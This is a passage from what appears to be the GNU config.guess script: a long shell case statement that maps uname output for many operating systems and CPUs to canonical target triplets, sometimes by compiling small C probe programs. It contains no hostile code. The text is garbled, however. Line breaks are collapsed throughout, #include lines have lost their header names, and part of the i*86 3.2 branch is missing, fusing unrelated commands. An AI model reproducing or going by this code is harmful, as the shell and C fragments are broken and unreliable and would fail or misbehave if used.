Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit ;; Motorola:*:4.3:PL8-*) echo powerpc-harris-powermax exit ;; Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) echo powerpc-harris-powermax exit ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit ;; XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` then echo "$SYSTEM_NAME" else echo rs6000-ibm-aix3.2.5 fi elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit ;; *:AIX:*:[4567]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit ;; *:AIX:*:*) echo rs6000-ibm-aix exit ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` test -z "$HP_ARCH" && HP_ARCH=hppa fi ;; esac if [ ${HP_ARCH} = "hppa2.0w" ] then eval $set_cc_for_build # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler # generating 64-bit code. GNU and HP use different nomenclature: # # $ CC_FOR_BUILD=cc ./config.guess # => hppa2.0w-hp-hpux11.23 # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess # => hppa64-hp-hpux11.23 if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | grep -q __LP64__ then HP_ARCH="hppa2.0w" else HP_ARCH="hppa64" fi fi echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } echo unknown-hitachi-hiuxwe2 exit ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*[A-Z]90:*:*:*) echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; *:UNICOS/mp:*:*) echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; 5000:UNIX_System_V:4.*:*) FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit ;; *:FreeBSD:*:*) UNAME_PROCESSOR=`/usr/bin/uname -p` case ${UNAME_PROCESSOR} in amd64) echo x86_64-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; *) echo ${UNAME_PROCESSOR}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; esac exit ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit ;; *:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit ;; i*:MSYS*:*) echo ${UNAME_MACHINE}-pc-msys exit ;; i*:windows32*:*) # uname -m includes "-pc" on this system. echo ${UNAME_MACHINE}-mingw32 exit ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit ;; *:Interix*:*) case ${UNAME_MACHINE} in x86) echo i586-pc-interix${UNAME_RELEASE} exit ;; authenticamd | genuineintel | EM64T) echo x86_64-unknown-interix${UNAME_RELEASE} exit ;; IA64) echo ia64-unknown-interix${UNAME_RELEASE} exit ;; esac ;; [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) echo i${UNAME_MACHINE}-pc-mks exit ;; 8664:Windows_NT:*) echo x86_64-pc-mks exit ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i586-pc-interix exit ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit ;; amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) echo x86_64-unknown-cygwin exit ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; *:GNU:*:*) # the GNU system echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit ;; *:GNU/*:*:*) # other systems with GNU libc and userland echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu exit ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit ;; aarch64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; aarch64_be:Linux:*:*) UNAME_MACHINE=aarch64_be echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep -q ld.so.1 if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit ;; arm*:Linux:*:*) eval $set_cc_for_build if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ARM_EABI__ then echo ${UNAME_MACHINE}-unknown-linux-gnu else if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ARM_PCS_VFP then echo ${UNAME_MACHINE}-unknown-linux-gnueabi else echo ${UNAME_MACHINE}-unknown-linux-gnueabihf fi fi exit ;; avr32*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; cris:Linux:*:*) echo ${UNAME_MACHINE}-axis-linux-gnu exit ;; crisv32:Linux:*:*) echo ${UNAME_MACHINE}-axis-linux-gnu exit ;; frv:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; hexagon:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; i*86:Linux:*:*) LIBC=gnu eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __dietlibc__ LIBC=dietlibc #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^LIBC'` echo "${UNAME_MACHINE}-pc-linux-${LIBC}" exit ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m32r*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; mips:Linux:*:* | mips64:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef ${UNAME_MACHINE} #undef ${UNAME_MACHINE}el #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=${UNAME_MACHINE}el #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=${UNAME_MACHINE} #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^CPU'` test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; } ;; or32:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; padre:Linux:*:*) echo sparc-unknown-linux-gnu exit ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit ;; sh64*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; tile*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; vax:Linux:*:*) echo ${UNAME_MACHINE}-dec-linux-gnu exit ;; x86_64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; xtensa*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit ;; i*86:OS/2:*:*) # If we were able to find `uname', then EMX Unix compatibility # is probably installed. echo ${UNAME_MACHINE}-pc-os2-emx exit ;; i*86:XTS-300:*:STOP) echo ${UNAME_MACHINE}-unknown-stop exit ;; i*86:atheos:*:*) echo ${UNAME_MACHINE}-unknown-atheos exit ;; i*86:syllable:*:*) echo ${UNAME_MACHINE}-pc-syllable exit ;; i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*) echo i386-unknown-lynxos${UNAME_RELEASE} exit ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit ;; i*86:*:5:[678]*) # UnixWare 7.x, OpenUNIX and OpenServer 6. case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i586. # Note: whatever this is, it MUST be the same as what config.sub # prints for the "djgpp" host, or else GDB configury will decide that # this is a cross-build. echo i586-pc-msdosdjgpp exit ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit ;; paragon:*:*:*) echo i860-intel-osf1 exit ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit ;; mc68k:UNIX:SYSTEM5:3.51m) echo m68k-convergent-sysv exit ;; M680?0:D-NIX:5.3:*) echo m68k-diab-dnix exit ;; M68*:*:R3V[5678]*:*) test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4; exit; } ;; NCR*:*:4.2:* | MPRAS*:*:4.2:*) OS_REL='.3' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) echo m68k-unknown-lynxos${UNAME_RELEASE} exit ;; mc68030:UNIX_System_V:4.*:*) echo m68k-atari-sysv4 exit ;; TSUNAMI:LynxOS:2.*:*) echo sparc-unknown-lynxos${UNAME_RELEASE} exit ;; rs6000:LynxOS:2.*:*) echo rs6000-unknown-lynxos${UNAME_RELEASE} exit ;; PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*) echo powerpc-unknown-lynxos${UNAME_RELEASE} exit ;; SM[BE]S:UNIX_SV:*:*) echo mips-dde-sysv${UNAME_RELEASE} exit ;; RM*:ReliantUNIX-*:*:*) echo mips-sni-sysv4 exit ;; RM*:SINIX-*:*:*) echo mips-sni-sysv4 exit ;; *:SINIX-*:*:*) if uname -p 2>/dev/null >/dev/null ; then UNAME_MACHINE=`(uname -p) 2>/dev/null` echo ${UNAME_MACHINE}-sni-sysv4 else echo ns32k-sni-sysv fi exit ;; PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort # says echo i586-unisys-sysv4 exit ;; *:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit ;; i*86:VOS:*:*) # From Paul.Green@stratus.com. echo ${UNAME_MACHINE}-stratus-vos exit ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit ;; BePC:BeOS:*:*) # BeOS running on Intel PC compatible. echo i586-pc-beos exit ;; BePC:Haiku:*:*) # Haiku running on Intel PC compatible. echo i586-pc-haiku exit ;; SX-4:SUPER-UX:*:*) echo sx4-nec-superux${UNAME_RELEASE} exit ;; SX-5:SUPER-UX:*:*) echo sx5-nec-superux${UNAME_RELEASE} exit ;; SX-6:SUPER-UX:*:*) echo sx6-nec-superux${UNAME_RELEASE} exit ;; SX-7:SUPER-UX:*:*) echo sx7-nec-superux${UNAME_RELEASE} exit ;; SX-8:SUPER-UX:*:*) echo sx8-nec-superux${UNAME_RELEASE} exit ;; SX-8R:SUPER-UX:*:*) echo sx8r-nec-superux${UNAME_RELEASE} exit ;; Power*:Rhapsody:*:*) echo powerpc-apple-rhapsody${UNAME_RELEASE} exit ;; *:Rhapsody:*:*) echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} exit ;; *:Darwin:*:*) UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown case $UNAME_PROCESSOR in i386) eval $set_cc_for_build if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then if (echo '#ifdef __LP64__'; echo IS_64BIT_ARCH; echo '#endif') | \ (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \ grep IS_64BIT_ARCH >/dev/null then UNAME_PROCESSOR="x86_64" fi fi ;; unknown) UNAME_PROCESSOR=powerpc ;; esac echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} exit ;; *:procnto*:*:* | *:QNX:[0123456789]*:*) UNAME_PROCESSOR=`uname -p` if test "$UNAME_PROCESSOR" = "x86"; then UNAME_PROCESSOR=i386 UNAME_MACHINE=pc fi echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} exit ;; *:QNX:*:4*) echo i386-pc-qnx exit ;; NEO-?:NONSTOP_KERNEL:*:*) echo neo-tandem-nsk${UNAME_RELEASE} exit ;; NSE-?:NONSTOP_KERNEL:*:*) echo nse-tandem-nsk${UNAME_RELEASE} exit ;; NSR-?:NONSTOP_KERNEL:*:*) echo nsr-tandem-nsk${UNAME_RELEASE} exit ;; *:NonStop-UX:*:*) echo mips-compaq-nonstopux exit ;; BS2000:POSIX*:*:*) echo bs2000-siemens-sysv exit ;; DS/*:UNIX_System_V:*:*) echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} exit ;; *:Plan9:*:*) # "uname -m" is not consistent, so use $cputype instead. 386 # is converted to i386 for consistency with other x86 # operating systems. if test "$cputype" = "386"; then UNAME_MACHINE=i386 else UNAME_MACHINE="$cputype" fi echo ${UNAME_MACHINE}-unknown-plan9 exit ;; *:TOPS-10:*:*) echo pdp10-unknown-tops10 exit ;; *:TENEX:*:*) echo pdp10-unknown-tenex exit ;; KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) echo pdp10-dec-tops20 exit ;; XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) echo pdp10-xkl-tops20 exit ;; *:TOPS-20:*:*) echo pdp10-unknown-tops20 exit ;; *:ITS:*:*) echo pdp10-unknown-its exit ;; SEI:*:*:SEIUX) echo mips-sei-seiux${UNAME_RELEASE} exit ;; *:DragonFly:*:*) echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` exit ;; *:*VMS:*:*) UNAME_MACHINE=`(uname -p) 2>/dev/null` case "${UNAME_MACHINE}" in A*) echo alpha-dec-vms ; exit ;; I*) echo ia64-dec-vms ; exit ;; V*) echo vax-dec-vms ; exit ;; esac ;; *:XENIX:*:SysV) echo i386-pc-xenix exit ;; i*86:skyos:*:*) echo ${UNAME_MACHINE}-pc-skyos`echo ${UNAME_RELEASE}` | sed -e 's/ .*$//' exit ;; i*86:rdos:*:*) echo ${UNAME_MACHINE}-pc-rdos exit ;; i*86:AROS:*:*) echo ${UNAME_MACHINE}-pc-aros exit ;; x86_64:VMkernel:*:*) echo ${UNAME_MACHINE}-unknown-esx exit ;; esac #echo '(No uname command or uname output not recognized.)' 1>&2 #echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 eval $set_cc_for_build cat >$dummy.c < # include #endif main () { #if defined (sony) #if defined (MIPSEB) /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, I don't know.... */ printf ("mips-sony-bsd\n"); exit (0); #else #include printf ("m68k-sony-newsos%s\n", #ifdef NEWSOS4 "4" #else "" #endif ); exit (0); #endif #endif #if defined (__arm) && 